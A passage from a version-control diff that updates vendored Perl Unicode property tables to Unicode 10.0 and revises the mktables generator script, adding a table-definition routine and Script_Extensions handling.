 1F926         ; EB # So       FACE PALM
-1F930         ; EB # So       PREGNANT WOMAN
-1F933..1F939  ; EB # So   [7] SELFIE..JUGGLING
-1F93C..1F93E  ; EB # So   [3] WRESTLERS..HANDBALL
+1F930..1F939  ; EB # So  [10] PREGNANT WOMAN..JUGGLING
+1F93D..1F93E  ; EB # So   [2] WATER POLO..HANDBALL
+1F9D1..1F9DD  ; EB # So  [13] ADULT..ELF
 
-# Total code points: 83
+# Total code points: 102
 
 # ================================================
 

Modified: vendor/perl/dist/lib/unicore/extracted/DNumType.txt
===================================================================
--- vendor/perl/dist/lib/unicore/extracted/DNumType.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/extracted/DNumType.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedNumericType-9.0.0.txt
-# Date: 2016-03-02, 18:55:01 GMT
-# © 2016 Unicode®, Inc.
+# DerivedNumericType-10.0.0.txt
+# Date: 2017-02-14, 04:26:10 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -249,11 +249,12 @@
 11730..11739  ; Decimal # Nd  [10] AHOM DIGIT ZERO..AHOM DIGIT NINE
 118E0..118E9  ; Decimal # Nd  [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
 11C50..11C59  ; Decimal # Nd  [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE
+11D50..11D59  ; Decimal # Nd  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 16A60..16A69  ; Decimal # Nd  [10] MRO DIGIT ZERO..MRO DIGIT NINE
 16B50..16B59  ; Decimal # Nd  [10] PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE
 1D7CE..1D7FF  ; Decimal # Nd  [50] MATHEMATICAL BOLD DIGIT ZERO..MATHEMATICAL MONOSPACE DIGIT NINE
 1E950..1E959  ; Decimal # Nd  [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE
 
-# Total code points: 580
+# Total code points: 590
 
 # EOF

Modified: vendor/perl/dist/lib/unicore/extracted/DNumValues.txt
===================================================================
--- vendor/perl/dist/lib/unicore/extracted/DNumValues.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/extracted/DNumValues.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedNumericValues-9.0.0.txt
-# Date: 2016-03-02, 18:55:01 GMT
-# © 2016 Unicode®, Inc.
+# DerivedNumericValues-10.0.0.txt
+# Date: 2017-02-14, 04:26:10 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -101,6 +101,7 @@
 11730         ; 0.0 ; ; 0 # Nd       AHOM DIGIT ZERO
 118E0         ; 0.0 ; ; 0 # Nd       WARANG CITI DIGIT ZERO
 11C50         ; 0.0 ; ; 0 # Nd       BHAIKSUKI DIGIT ZERO
+11D50         ; 0.0 ; ; 0 # Nd       MASARAM GONDI DIGIT ZERO
 16A60         ; 0.0 ; ; 0 # Nd       MRO DIGIT ZERO
 16B50         ; 0.0 ; ; 0 # Nd       PAHAWH HMONG DIGIT ZERO
 1D7CE         ; 0.0 ; ; 0 # Nd       MATHEMATICAL BOLD DIGIT ZERO
@@ -112,7 +113,7 @@
 1F100..1F101  ; 0.0 ; ; 0 # No   [2] DIGIT ZERO FULL STOP..DIGIT ZERO COMMA
 1F10B..1F10C  ; 0.0 ; ; 0 # No   [2] DINGBAT CIRCLED SANS-SERIF DIGIT ZERO..DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO
 
-# Total code points: 74
+# Total code points: 75
 
 # ================================================
 
@@ -446,6 +447,7 @@
 118E1         ; 1.0 ; ; 1 # Nd       WARANG CITI DIGIT ONE
 11C51         ; 1.0 ; ; 1 # Nd       BHAIKSUKI DIGIT ONE
 11C5A         ; 1.0 ; ; 1 # No       BHAIKSUKI NUMBER ONE
+11D51         ; 1.0 ; ; 1 # Nd       MASARAM GONDI DIGIT ONE
 12415         ; 1.0 ; ; 1 # Nl       CUNEIFORM NUMERIC SIGN ONE GESH2
 1241E         ; 1.0 ; ; 1 # Nl       CUNEIFORM NUMERIC SIGN ONE GESHU
 1242C         ; 1.0 ; ; 1 # Nl       CUNEIFORM NUMERIC SIGN ONE SHARU
@@ -465,7 +467,7 @@
 1F102         ; 1.0 ; ; 1 # No       DIGIT ONE COMMA
 2092A         ; 1.0 ; ; 1 # Lo       CJK UNIFIED IDEOGRAPH-2092A
 
-# Total code points: 121
+# Total code points: 122
 
 # ================================================
 
@@ -571,6 +573,7 @@
 118E2         ; 2.0 ; ; 2 # Nd       WARANG CITI DIGIT TWO
 11C52         ; 2.0 ; ; 2 # Nd       BHAIKSUKI DIGIT TWO
 11C5B         ; 2.0 ; ; 2 # No       BHAIKSUKI NUMBER TWO
+11D52         ; 2.0 ; ; 2 # Nd       MASARAM GONDI DIGIT TWO
 12400         ; 2.0 ; ; 2 # Nl       CUNEIFORM NUMERIC SIGN TWO ASH
 12416         ; 2.0 ; ; 2 # Nl       CUNEIFORM NUMERIC SIGN TWO GESH2
 1241F         ; 2.0 ; ; 2 # Nl       CUNEIFORM NUMERIC SIGN TWO GESHU
@@ -594,7 +597,7 @@
 1F103         ; 2.0 ; ; 2 # No       DIGIT TWO COMMA
 22390         ; 2.0 ; ; 2 # Lo       CJK UNIFIED IDEOGRAPH-22390
 
-# Total code points: 121
+# Total code points: 122
 
 # ================================================
 
@@ -694,6 +697,7 @@
 118E3         ; 3.0 ; ; 3 # Nd       WARANG CITI DIGIT THREE
 11C53         ; 3.0 ; ; 3 # Nd       BHAIKSUKI DIGIT THREE
 11C5C         ; 3.0 ; ; 3 # No       BHAIKSUKI NUMBER THREE
+11D53         ; 3.0 ; ; 3 # Nd       MASARAM GONDI DIGIT THREE
 12401         ; 3.0 ; ; 3 # Nl       CUNEIFORM NUMERIC SIGN THREE ASH
 12408         ; 3.0 ; ; 3 # Nl       CUNEIFORM NUMERIC SIGN THREE DISH
 12417         ; 3.0 ; ; 3 # Nl       CUNEIFORM NUMERIC SIGN THREE GESH2
@@ -721,7 +725,7 @@
 22998         ; 3.0 ; ; 3 # Lo       CJK UNIFIED IDEOGRAPH-22998
 23B1B         ; 3.0 ; ; 3 # Lo       CJK UNIFIED IDEOGRAPH-23B1B
 
-# Total code points: 123
+# Total code points: 124
 
 # ================================================
 
@@ -815,6 +819,7 @@
 118E4         ; 4.0 ; ; 4 # Nd       WARANG CITI DIGIT FOUR
 11C54         ; 4.0 ; ; 4 # Nd       BHAIKSUKI DIGIT FOUR
 11C5D         ; 4.0 ; ; 4 # No       BHAIKSUKI NUMBER FOUR
+11D54         ; 4.0 ; ; 4 # Nd       MASARAM GONDI DIGIT FOUR
 12402         ; 4.0 ; ; 4 # Nl       CUNEIFORM NUMERIC SIGN FOUR ASH
 12409         ; 4.0 ; ; 4 # Nl       CUNEIFORM NUMERIC SIGN FOUR DISH
 1240F         ; 4.0 ; ; 4 # Nl       CUNEIFORM NUMERIC SIGN FOUR U
@@ -842,7 +847,7 @@
 200E2         ; 4.0 ; ; 4 # Lo       CJK UNIFIED IDEOGRAPH-200E2
 2626D         ; 4.0 ; ; 4 # Lo       CJK UNIFIED IDEOGRAPH-2626D
 
-# Total code points: 115
+# Total code points: 116
 
 # ================================================
 
@@ -941,6 +946,7 @@
 118E5         ; 5.0 ; ; 5 # Nd       WARANG CITI DIGIT FIVE
 11C55         ; 5.0 ; ; 5 # Nd       BHAIKSUKI DIGIT FIVE
 11C5E         ; 5.0 ; ; 5 # No       BHAIKSUKI NUMBER FIVE
+11D55         ; 5.0 ; ; 5 # Nd       MASARAM GONDI DIGIT FIVE
 12403         ; 5.0 ; ; 5 # Nl       CUNEIFORM NUMERIC SIGN FIVE ASH
 1240A         ; 5.0 ; ; 5 # Nl       CUNEIFORM NUMERIC SIGN FIVE DISH
 12410         ; 5.0 ; ; 5 # Nl       CUNEIFORM NUMERIC SIGN FIVE U
@@ -965,7 +971,7 @@
 1F106         ; 5.0 ; ; 5 # No       DIGIT FIVE COMMA
 20121         ; 5.0 ; ; 5 # Lo       CJK UNIFIED IDEOGRAPH-20121
 
-# Total code points: 113
+# Total code points: 114
 
 # ================================================
 
@@ -1055,6 +1061,7 @@
 118E6         ; 6.0 ; ; 6 # Nd       WARANG CITI DIGIT SIX
 11C56         ; 6.0 ; ; 6 # Nd       BHAIKSUKI DIGIT SIX
 11C5F         ; 6.0 ; ; 6 # No       BHAIKSUKI NUMBER SIX
+11D56         ; 6.0 ; ; 6 # Nd       MASARAM GONDI DIGIT SIX
 12404         ; 6.0 ; ; 6 # Nl       CUNEIFORM NUMERIC SIGN SIX ASH
 1240B         ; 6.0 ; ; 6 # Nl       CUNEIFORM NUMERIC SIGN SIX DISH
 12411         ; 6.0 ; ; 6 # Nl       CUNEIFORM NUMERIC SIGN SIX U
@@ -1076,7 +1083,7 @@
 1F107         ; 6.0 ; ; 6 # No       DIGIT SIX COMMA
 20AEA         ; 6.0 ; ; 6 # Lo       CJK UNIFIED IDEOGRAPH-20AEA
 
-# Total code points: 100
+# Total code points: 101
 
 # ================================================
 
@@ -1164,6 +1171,7 @@
 118E7         ; 7.0 ; ; 7 # Nd       WARANG CITI DIGIT SEVEN
 11C57         ; 7.0 ; ; 7 # Nd       BHAIKSUKI DIGIT SEVEN
 11C60         ; 7.0 ; ; 7 # No       BHAIKSUKI NUMBER SEVEN
+11D57         ; 7.0 ; ; 7 # Nd       MASARAM GONDI DIGIT SEVEN
 12405         ; 7.0 ; ; 7 # Nl       CUNEIFORM NUMERIC SIGN SEVEN ASH
 1240C         ; 7.0 ; ; 7 # Nl       CUNEIFORM NUMERIC SIGN SEVEN DISH
 12412         ; 7.0 ; ; 7 # Nl       CUNEIFORM NUMERIC SIGN SEVEN U
@@ -1184,7 +1192,7 @@
 1F108         ; 7.0 ; ; 7 # No       DIGIT SEVEN COMMA
 20001         ; 7.0 ; ; 7 # Lo       CJK UNIFIED IDEOGRAPH-20001
 
-# Total code points: 99
+# Total code points: 100
 
 # ================================================
 
@@ -1270,6 +1278,7 @@
 118E8         ; 8.0 ; ; 8 # Nd       WARANG CITI DIGIT EIGHT
 11C58         ; 8.0 ; ; 8 # Nd       BHAIKSUKI DIGIT EIGHT
 11C61         ; 8.0 ; ; 8 # No       BHAIKSUKI NUMBER EIGHT
+11D58         ; 8.0 ; ; 8 # Nd       MASARAM GONDI DIGIT EIGHT
 12406         ; 8.0 ; ; 8 # Nl       CUNEIFORM NUMERIC SIGN EIGHT ASH
 1240D         ; 8.0 ; ; 8 # Nl       CUNEIFORM NUMERIC SIGN EIGHT DISH
 12413         ; 8.0 ; ; 8 # Nl       CUNEIFORM NUMERIC SIGN EIGHT U
@@ -1289,7 +1298,7 @@
 1E958         ; 8.0 ; ; 8 # Nd       ADLAM DIGIT EIGHT
 1F109         ; 8.0 ; ; 8 # No       DIGIT EIGHT COMMA
 
-# Total code points: 95
+# Total code points: 96
 
 # ================================================
 
@@ -1376,6 +1385,7 @@
 118E9         ; 9.0 ; ; 9 # Nd       WARANG CITI DIGIT NINE
 11C59         ; 9.0 ; ; 9 # Nd       BHAIKSUKI DIGIT NINE
 11C62         ; 9.0 ; ; 9 # No       BHAIKSUKI NUMBER NINE
+11D59         ; 9.0 ; ; 9 # Nd       MASARAM GONDI DIGIT NINE
 12407         ; 9.0 ; ; 9 # Nl       CUNEIFORM NUMERIC SIGN NINE ASH
 1240E         ; 9.0 ; ; 9 # Nl       CUNEIFORM NUMERIC SIGN NINE DISH
 12414         ; 9.0 ; ; 9 # Nl       CUNEIFORM NUMERIC SIGN NINE U
@@ -1396,7 +1406,7 @@
 1F10A         ; 9.0 ; ; 9 # No       DIGIT NINE COMMA
 2F890         ; 9.0 ; ; 9 # Lo       CJK COMPATIBILITY IDEOGRAPH-2F890
 
-# Total code points: 99
+# Total code points: 100
 
 # ================================================
 

Modified: vendor/perl/dist/lib/unicore/mktables
===================================================================
--- vendor/perl/dist/lib/unicore/mktables	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/mktables	2018-12-22 22:55:19 UTC (rev 12126)
@@ -45,7 +45,7 @@
 # expected, a warning will be generated.  If an older version is being
 # compiled, any bounds tests that fail in the generated test file (-maketest
 # option) will be marked as TODO.
-my $version_of_mk_invlist_bounds = v9.0.0;
+my $version_of_mk_invlist_bounds = v10.0.0;
 
 ##########################################################################
 #
@@ -135,7 +135,7 @@
 # each one of the tens of thousands individually.
 #
 # In a match table, the value of a range is irrelevant (and hence the type as
-# well, which will always be 0), and arbitrarily set to the null string.
+# well, which will always be 0), and arbitrarily set to the empty string.
 # Using the example above, there would be two match tables for those two
 # entries, one named Upper would contain the 0x41..0x5A range, and the other
 # named Lower would contain 0x61..0x7A.
@@ -660,7 +660,7 @@
 # common to both releases, and you can see the changes caused just by the
 # underlying release semantic changes.  For versions earlier than 3.2, you
 # must copy a version of DAge.txt into the directory.
-my $string_compare_versions = DEBUG && 0; #  e.g., "2.1";
+my $string_compare_versions = DEBUG && ""; #  e.g., "2.1";
 my $compare_versions = DEBUG
                        && $string_compare_versions
                        && pack "C*", split /\./, $string_compare_versions;
@@ -1140,17 +1140,17 @@
 my $MAX_UNICODE_CODEPOINT = hex $MAX_UNICODE_CODEPOINT_STRING;
 my $MAX_UNICODE_CODEPOINTS = $MAX_UNICODE_CODEPOINT + 1;
 
-# We work with above-Unicode code points, up to UV_MAX.   But when you get
-# that high, above IV_MAX, some operations don't work, and you can easily get
-# overflow.  Therefore for internal use, we use a much smaller number,
-# translating it to UV_MAX only for output.  The exact number is immaterial
-# (all Unicode code points are treated exactly the same), but the algorithm
-# requires it to be at least 2 * $MAX_UNICODE_CODEPOINTS + 1;
+# We work with above-Unicode code points, up to IV_MAX, but we may want to use
+# sentinels above that number.  Therefore for internal use, we use a much
+# smaller number, translating it to IV_MAX only for output.  The exact number
+# is immaterial (all above-Unicode code points are treated exactly the same),
+# but the algorithm requires it to be at least
+# 2 * $MAX_UNICODE_CODEPOINTS + 1
 my $MAX_WORKING_CODEPOINTS= $MAX_UNICODE_CODEPOINT * 8;
 my $MAX_WORKING_CODEPOINT = $MAX_WORKING_CODEPOINTS - 1;
 my $MAX_WORKING_CODEPOINT_STRING = sprintf("%X", $MAX_WORKING_CODEPOINT);
 
-my $MAX_PLATFORM_CODEPOINT = ~0;
+my $MAX_PLATFORM_CODEPOINT = ~0 >> 1;
 
 # Matches legal code point.  4-6 hex numbers, If there are 6, the first
 # two must be 10; if there are 5, the first must not be a 0.  Written this way
@@ -1454,6 +1454,7 @@
 my $DI;         # Default_Ignorable_Code_Point property
 my $NChar;      # Noncharacter_Code_Point property
 my $script;
+my $scx;        # Script_Extensions property
 
 # Are there conflicting names because of beginning with 'In_', or 'Is_'
 my $has_In_conflicts = 0;
@@ -1529,7 +1530,7 @@
 
     $viacode[$i] = $perl_charname->value_of($i) || "";
     $age[$i] = (defined $age)
-               ? (($age->value_of($i) =~ / ^ \d \. \d $ /x)
+               ? (($age->value_of($i) =~ / ^ \d+ \. \d+ $ /x)
                   ? $age->value_of($i)
                   : "")
                : "";
@@ -3553,7 +3554,7 @@
     main::set_access('end', \%end, 'r', 's');
 
     my %value;
-    main::set_access('value', \%value, 'r');
+    main::set_access('value', \%value, 'r', 's');
 
     my %type;
     main::set_access('type', \%type, 'r');
@@ -5324,6 +5325,14 @@
         return $self->_add_delete('+', @_);
     }
 
+    sub replace_map {
+        # Replace a range
+
+        my $self = shift;
+
+        return $self->_add_delete('+', @_, Replace => $UNCONDITIONALLY);
+    }
+
     sub add_duplicate {
         # Adds entry to a range list which can duplicate an existing entry
 
@@ -7733,6 +7742,7 @@
     # Accessors for the underlying list that should fail if locked.
     for my $sub (qw(
                     add_duplicate
+                    replace_map
                 ))
     {
         no strict "refs";
@@ -7800,6 +7810,12 @@
 #    version.  But manual intervention to decide what the actual behavior
 #    should be may be required should this happen.  The introductory comments
 #    have more to say about this.
+#
+# 4) Definition.  This is a string for human consumption that specifies the
+#    code points that this table matches.  This is used only for the generated
+#    pod file.  It may be specified explicitly, or automatically computed.
+#    Only the first portion of complicated definitions is computed and
+#    displayed.
 
 sub standardize { return main::standardize($_[0]); }
 sub trace { return main::trace(@_); }
@@ -7844,6 +7860,11 @@
     # none.
     main::set_access('complement', \%complement, 'r');
 
+    my %definition;
+    # Human readable string of the first few ranges of code points matched by
+    # this table
+    main::set_access('definition', \%definition, 'r', 's');
+
     sub new {
         my $class = shift;
 
@@ -7860,6 +7881,7 @@
         my $initialize = delete $args{'Initialize'};
         my $matches_all = delete $args{'Matches_All'} || 0;
         my $format = delete $args{'Format'};
+        my $definition = delete $args{'Definition'} // "";
         # Rest of parameters passed on.
 
         my $range_list = Range_List->new(Initialize => $initialize,
@@ -7894,6 +7916,7 @@
         $leader{$addr} = $self;
         $parent{$addr} = $self;
         $complement{$addr} = 0;
+        $definition{$addr} = $definition;
 
         if (defined $format && $format ne $EMPTY_FORMAT) {
             Carp::my_carp_bug("'Format' must be '$EMPTY_FORMAT' in a match table instead of '$format'.  Using '$EMPTY_FORMAT'");
@@ -8004,13 +8027,23 @@
         # complement's if it has one.
 
         my $self = shift;
-        my $complement;
-        if (($complement = $self->complement) != 0) {
-            return ~ $complement->_range_list;
+        my $complement = $self->complement;
+
+        # In order to avoid re-complementing on each access, only do the
+        # complement the first time, and store the result in this table's
+        # range list to use henceforth.  However, this wouldn't work if the
+        # controlling (complement) table changed after we do this, so lock it.
+        # Currently, the value of the complement isn't needed until after it
+        # is fully constructed, so this works.  If this were to change, the
+        # each_range iteration functionality would no longer work on this
+        # complement.
+        if ($complement != 0 && $self->SUPER::_range_list->count == 0) {
+            $self->_set_range_list($self->SUPER::_range_list
+                                + ~ $complement->_range_list);
+            $complement->lock;
         }
-        else {
-            return $self->SUPER::_range_list;
-        }
+
+        return $self->SUPER::_range_list;
     }
 
     sub add_alias {
@@ -8048,7 +8081,7 @@
         # disambiguate with).
         if (defined $conflicting_object) {
             foreach my $alias ($self->aliases) {
-                if ($alias->name eq $conflicting_name) {
+                if (standardize($alias->name) eq standardize($conflicting_name)) {
 
                     # Here, there is an exact match.  This results in
                     # ambiguous comments, so disambiguate by changing the
@@ -8141,7 +8174,19 @@
                                                             # add_alias()
                                                             # instead for same
                                                             # property
-                     && ! $other->perl_extension)
+                     && ! $other->perl_extension
+
+                         # We allow the sc and scx properties to be marked as
+                         # related.  They are in fact related, and this allows
+                         # the pod to show that better.  This test isn't valid
+                         # if this is an early Unicode release without the scx
+                         # property (having that also implies the sc property
+                         # exists, so don't have to test for no 'sc')
+                     && (   ! defined $scx
+                         && ! (   (   $self->property == $script
+                                   || $self->property == $scx)
+                               && (   $self->property == $script
+                                   || $self->property == $scx))))
             {
                 Carp::my_carp_bug("set_equivalent_to should have 'Related => 0 for equivalencing two Unicode properties.  Assuming $self is not related to $other");
                 $related = 0;
@@ -8264,6 +8309,235 @@
         return;
     }
 
+    sub calculate_table_definition
+    {
+        # Returns a human-readable string showing some or all of the code
+        # points matched by this table.  The string will include a
+        # bracketed-character class for all characters matched in the 00-FF
+        # range, and the first few ranges matched beyond that.
+        my $max_ranges = 6;
+
+        my $self = shift;
+        my $definition = $self->definition || "";
+
+        # Skip this if already have a definition.
+        return $definition if $definition;
+
+        my $lows_string = "";   # The string representation of the 0-FF
+                                # characters
+        my $string_range = "";  # The string rep. of the above FF ranges
+        my $range_count = 0;    # How many ranges in $string_rage
+
+        my @lows_invlist;       # The inversion list of the 0-FF code points
+        my $first_non_control = ord(" ");   # Everything below this is a
+                                            # control, on ASCII or EBCDIC
+        my $max_table_code_point = $self->max;
+
+        # On ASCII platforms, the range 80-FF contains no printables.
+        my $highest_printable = ((main::NON_ASCII_PLATFORM) ? 255 : 126);
+
+
+        # Look through the first few ranges matched by this table.
+        $self->reset_each_range;    # Defensive programming
+        while (defined (my $range = $self->each_range())) {
+            my $start = $range->start;
+            my $end = $range->end;
+
+            # Accumulate an inversion list of the 00-FF code points
+            if ($start < 256 && ($start > 0 || $end < 256)) {
+                push @lows_invlist, $start;
+                push @lows_invlist, 1 + (($end < 256) ? $end : 255);
+
+                # Get next range if there are more ranges below 256
+                next if $end < 256 && $end < $max_table_code_point;
+
+                # If the range straddles the 255/256 boundary, we split it
+                # there.  We already added above the low portion to the
+                # inversion list
+                $start = 256 if $end > 256;
+            }
+
+            # Here, @lows_invlist contains the code points below 256, and
+            # there is no other range, or the current one starts at or above
+            # 256.  Generate the [char class] for the 0-255 ones.
+            while (@lows_invlist) {
+
+                # If this range (necessarily the first one, by the way) starts
+                # at 0 ...
+                if ($lows_invlist[0] == 0) {
+
+                    # If it ends within the block of controls, that means that
+                    # some controls are in it and some aren't.  Since Unicode
+                    # properties pretty much only know about a few of the
+                    # controls, like \n, \t, this means that its one of them
+                    # that isn't in the range.  Complement the inversion list
+                    # which will likely cause these to be output using their
+                    # mnemonics, hence being clearer.
+                    if ($lows_invlist[1] < $first_non_control) {
+                        $lows_string .= '^';
+                        shift @lows_invlist;
+                        push @lows_invlist, 256;
+                    }
+                    elsif ($lows_invlist[1] <= $highest_printable) {
+
+                        # Here, it extends into the printables block.  Split
+                        # into two ranges so that the controls are separate.
+                        $lows_string .= sprintf "\\x00-\\x%02x",
+                                                    $first_non_control - 1;
+                        $lows_invlist[0] = $first_non_control;
+                    }
+                }
+
+                # If the range completely contains the printables, don't
+                # individually spell out the printables.
+                if (    $lows_invlist[0] <= $first_non_control
+                    && $lows_invlist[1] > $highest_printable)
+                {
+                    $lows_string .= sprintf "\\x%02x-\\x%02x",
+                                        $lows_invlist[0], $lows_invlist[1] - 1;
+                    shift @lows_invlist;
+                    shift @lows_invlist;
+                    next;
+                }
+
+                # Here, the range may include some but not all printables.
+                # Look at each one individually
+                foreach my $ord (shift @lows_invlist .. shift(@lows_invlist) - 1) {
+                    my $char = chr $ord;
+
+                    # If there is already something in the list, an
+                    # alphanumeric char could be the next in sequence.  If so,
+                    # we start or extend a range.  That is, we could have so
+                    # far something like 'a-c', and the next char is a 'd', so
+                    # we change it to 'a-d'.  We use native_to_unicode()
+                    # because a-z on EBCDIC means 26 chars, and excludes the
+                    # gap ones.
+                    if ($lows_string ne "" && $char =~ /[[:alnum:]]/) {
+                        my $prev = substr($lows_string, -1);
+                        if (   $prev !~ /[[:alnum:]]/
+                            ||   utf8::native_to_unicode(ord $prev) + 1
+                              != utf8::native_to_unicode(ord $char))
+                        {
+                            # Not extending the range
+                            $lows_string .= $char;
+                        }
+                        elsif (   length $lows_string > 1
+                               && substr($lows_string, -2, 1) eq '-')
+                        {
+                            # We had a sequence like '-c' and the current
+                            # character is 'd'.  Extend the range.
+                            substr($lows_string, -1, 1) = $char;
+                        }
+                        else {
+                            # We had something like 'd' and this is 'e'.
+                            # Start a range.
+                            $lows_string .= "-$char";
+                        }
+                    }
+                    elsif ($char =~ /[[:graph:]]/) {
+
+                        # We output a graphic char as-is, preceded by a
+                        # backslash if it is a metacharacter
+                        $lows_string .= '\\'
+                                if $char =~ /[\\\^\$\@\%\|()\[\]\{\}\-\/"']/;
+                        $lows_string .= $char;
+                    } # Otherwise use mnemonic for any that have them
+                    elsif ($char =~ /[\a]/) {
+                        $lows_string .= '\a';
+                    }
+                    elsif ($char =~ /[\b]/) {
+                        $lows_string .= '\b';
+                    }
+                    elsif ($char eq "\e") {
+                        $lows_string .= '\e';
+                    }
+                    elsif ($char eq "\f") {
+                        $lows_string .= '\f';
+                    }
+                    elsif ($char eq "\cK") {
+                        $lows_string .= '\cK';
+                    }
+                    elsif ($char eq "\n") {
+                        $lows_string .= '\n';
+                    }
+                    elsif ($char eq "\r") {
+                        $lows_string .= '\r';
+                    }
+                    elsif ($char eq "\t") {
+                        $lows_string .= '\t';
+                    }
+                    else {
+
+                        # Here is a non-graphic without a mnemonic.  We use \x
+                        # notation.  But if the ordinal of this is one above
+                        # the previous, create or extend the range
+                        my $hex_representation = sprintf("%02x", ord $char);
+                        if (   length $lows_string >= 4
+                            && substr($lows_string, -4, 2) eq '\\x'
+                            && hex(substr($lows_string, -2)) + 1 == ord $char)
+                        {
+                            if (       length $lows_string >= 5
+                                &&     substr($lows_string, -5, 1) eq '-'
+                                && (   length $lows_string == 5
+                                    || substr($lows_string, -6, 1) ne '\\'))
+                            {
+                                substr($lows_string, -2) = $hex_representation;
+                            }
+                            else {
+                                $lows_string .= '-\\x' . $hex_representation;
+                            }
+                        }
+                        else {
+                            $lows_string .= '\\x' . $hex_representation;
+                        }
+                    }
+                }
+            }
+
+            # Done with assembling the string of all lows.  If there are only
+            # lows in the property, are completely done.
+            if ($max_table_code_point < 256) {
+                $self->reset_each_range;
+                last;
+            }
+
+            # Otherwise, quit if reached max number of non-lows ranges.  If
+            # there are lows, count them as one unit towards the maximum.
+            $range_count++;
+            if ($range_count > (($lows_string eq "") ? $max_ranges : $max_ranges - 1)) {
+                $string_range .= " ...";
+                $self->reset_each_range;
+                last;
+            }
+
+            # Otherwise add this range.
+            $string_range .= ", " if $string_range ne "";
+            if ($start == $end) {
+                $string_range .= sprintf("U+%04X", $start);
+            }
+            elsif ($end >= $MAX_WORKING_CODEPOINT)  {
+                $string_range .= sprintf("U+%04X..infinity", $start);
+            }
+            else  {
+                $string_range .= sprintf("U+%04X..%04X",
+                                        $start, $end);
+            }
+        }
+
+        # Done with all the ranges we're going to look at.  Assemble the
+        # definition from the lows + non-lows.
+
+        if ($lows_string ne "" || $string_range ne "") {
+            if ($lows_string ne "") {
+                $definition .= "[$lows_string]";
+                $definition .= ", " if $string_range;
+            }
+            $definition .= $string_range;
+        }
+
+        return $definition;
+    }
+
     sub write {
         my $self = shift;
         Carp::carp_extra_args(\@_) if main::DEBUG && @_;
@@ -9349,6 +9623,7 @@
                     containing_range
                     count
                     default_map
+                    definition
                     delete_range
                     description
                     each_range
@@ -9367,6 +9642,7 @@
                     range_count
                     ranges
                     range_size_1
+                    replace_map
                     reset_each_range
                     set_comment
                     set_default_map
@@ -13141,9 +13417,9 @@
     # The Script_Extensions property starts out with a clone of the Script
     # property.
 
-    my $scx = property_ref("Script_Extensions");
-    $scx = Property->new("scx", Full_Name => "Script_Extensions")
-                                                            if ! defined $scx;
+    $scx = property_ref("Script_Extensions");
+    return unless defined $scx;
+
     $scx->_set_format($STRING_WHITE_SPACE_LIST);
     $scx->initialize($script);
     $scx->set_default_map($script->default_map);
@@ -13379,7 +13655,7 @@
 
     my ($range, $script, @remainder)
         = split /\s*;\s*/, $_, -1; # -1 => retain trailing null fields
-    my @words = split "_", $script;
+    my @words = split /[_-]/, $script;
     for my $word (@words) {
         $word =
             ucfirst(lc($word)) if $word ne 'CJK';
@@ -13736,7 +14012,6 @@
     # data is retained in the map table for reference, but the spurious match
     # tables are deleted.
 
-    my $scx = property_ref("Script_Extensions");
     if (defined $scx) {
         foreach my $table ($scx->tables) {
             next unless $table->name =~ /\s/;   # All the new and only the new
@@ -13749,6 +14024,21 @@
             }
             $scx->delete_match_table($table);
         }
+
+        # Mark the scx table as the parent of the corresponding sc table for
+        # those which are identical.  This causes the pod for the script table
+        # to refer to the corresponding scx one.
+        #
+        # This has to be in a separate loop from above, so as to wait until
+        # the tables are stabilized before checking for equivalency.
+        if (defined $pod_directory) {
+            foreach my $table ($scx->tables) {
+                my $plain_sc_equiv = $script->table($table->name);
+                if ($table->matches_identically_to($plain_sc_equiv)) {
+                    $plain_sc_equiv->set_equivalent_to($table, Related => 1);
+                }
+            }
+        }
     }
 
     return;
@@ -13898,8 +14188,10 @@
     # since the first compare version.
     my $delta = Range_List->new();
     foreach my $table ($age->tables) {
+        use version;
         next if $table == $age->table('Unassigned');
-        next if $table->name le $string_compare_versions;
+        next if version->parse($table->name)
+             le version->parse($string_compare_versions);
         $delta += $table;
     }
     if ($delta->is_empty) {
@@ -13922,6 +14214,9 @@
         next if     $this_block == $no_block
                 ||  ! ($this_block & $Assigned)->is_empty;
         $this_block->set_fate($SUPPRESSED, $after_first_version);
+        foreach my $range ($this_block->ranges) {
+            $block->replace_map($range->start, $range->end, 'No_Block')
+        }
         $no_block += $this_block;
     }
 
@@ -14168,8 +14463,7 @@
     }
 
     my $Any = $perl->add_match_table('Any',
-                                     Description  => "All Unicode code points: [\\x{0000}-\\x{$MAX_UNICODE_CODEPOINT_STRING}]",
-                                     );
+                                    Description  => "All Unicode code points");
     $Any->add_range(0, $MAX_UNICODE_CODEPOINT);
     $Any->add_alias('Unicode');
 
@@ -14182,7 +14476,7 @@
             ->set_equivalent_to(property_ref('ccc')->table('Above'),
                                                                 Related => 1);
 
-    my $ASCII = $perl->add_match_table('ASCII', Description => '[[:ASCII:]]');
+    my $ASCII = $perl->add_match_table('ASCII');
     if (defined $block) {   # This is equivalent to the block if have it.
         my $Unicode_ASCII = $block->table('Basic_Latin');
         if (defined $Unicode_ASCII && ! $Unicode_ASCII->is_empty) {
@@ -14242,7 +14536,6 @@
         $Lower += $temp & $Assigned;
     }
     my $Posix_Lower = $perl->add_match_table("PosixLower",
-                            Description => "[a-z]",
                             Initialize => $Lower & $ASCII,
                             );
 
@@ -14260,7 +14553,6 @@
         $Upper->add_range(0x24B6, 0x24CF);  # Circled Latin upper case letters
     }
     my $Posix_Upper = $perl->add_match_table("PosixUpper",
-                            Description => "[A-Z]",
                             Initialize => $Upper & $ASCII,
